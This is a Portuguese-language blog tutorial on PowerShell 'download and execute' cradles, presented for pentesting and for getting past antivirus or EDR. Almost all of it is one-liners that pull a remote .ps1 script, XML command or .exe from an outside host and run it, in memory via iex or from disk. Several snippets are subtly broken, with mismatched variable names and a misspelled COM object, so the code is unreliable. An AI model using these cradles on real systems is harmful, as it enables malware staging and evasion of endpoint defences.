WINDOWS: Powershell Download & Execute

Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades? Este tutorial visa fornecer métodos simples e rápidos de realizar download utilizando Powershell e como carregar scripts Powershell em memória.

O Powershell é uma ferramenta poderosa usada por muitos administradores de sistemas para automatizar tarefas e gerenciar sistemas Windows. Porém, a mesma funcionalidade que torna o Powershell tão útil também pode ser explorada por criminosos cibernéticos. Uma técnica que tem sido usada com frequência é o carregamento de script em memória, que envolve o download de um script malicioso e sua execução em um sistema comprometido.

Carregar script .ps1 em memória

Primeiramente vamos ver alguns métodos para carregar scripts .ps1 em memória. Esta técnica é extremamente útil quando estamos lidando com algum antivírus ou EDR durante nosso pentest.

WebClient.DownloadString

Utilização básica:

iex (new-object Net.Webclient).DownloadString("http://192.168.13.37/script.ps1")

powershell.exe iex (new-object Net.Webclient).DownloadString('http://192.168.13.37//script.ps1')

Adicionando User Agent na request

$cli= New-Object System.Net.WebClient; $cli.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"); $file = "http://192.168.13.37/script.ps1"; $cmd= $cli.DownloadString($payload); iex $cmd

Net.WebRequest

$req = [System.Net.WebRequest]::Create("http://192.168.13.37/script.ps1"); $res = $req.GetResponse(); iex ([System.IO.StreamReader] ($res.GetResponseStream())).ReadToEnd()

System.Xml.XmlDocument

Para utilizar este método se faz necessário um arquivo XML com o comando a ser executado. Neste caso estamos executando o comando $env:computername, que retorna o hostname da máquina:

Em seguida, basta executar o comando abaixo na máquina Windows:

$remotexml = New-Object System.Xml.XmlDocument;$remotexml.Load("http://192.168.13.37/arquivo.xml");iex $remotexml.command.cmd.execute

Msxml2.XMLHTTP

$req = New-Object -ComObject Msxml2.XMLHTTP;$downloader.open("GET", "http://192.168.13.37/script.ps1", $false);$req.send();iex $req.responseText

WinHttp.WinHttpRequest.5.1

$req = New-Object -ComObject WinHTttp.WinHttpRequest.5.1; $req.open("GET", "http://192.168.0.96/script.ps1", $false); $req.send(); iex $downloader.responseText

Realizar Download para o disco

Os métodos abaixo realizam o download do arquivo/script desejado para o disco e em seguida executam o mesmo:

System.Net.Webclient DownloadFile

(new-object System.Net.Webclient).DownloadFile("http://192.168.13.37/script.ps1", "script.ps1"); .\script.ps1

$cli = New-Object System.Net.WebClient;$payload = "https://192.168.0.96/arquivo.exe";$out = "C:\windows\temp\arquivo.exe";$cmd = $cli.DownloadFile($payload, $file);& $file

Invoke-WebRequest

Invoke-WebRequest -Uri http://192.168.13.37/script.ps1 -OutFile script.ps1; .\script.ps1

Gostou? Se tiverem algumas sugestões, dica ou se ficou com alguma dúvida sobre este tutorial, não tem problema! Basta comentar no post que iremos responder suas dúvidas assim que for possível.

Fonte:ironlinux

Deixe um comentário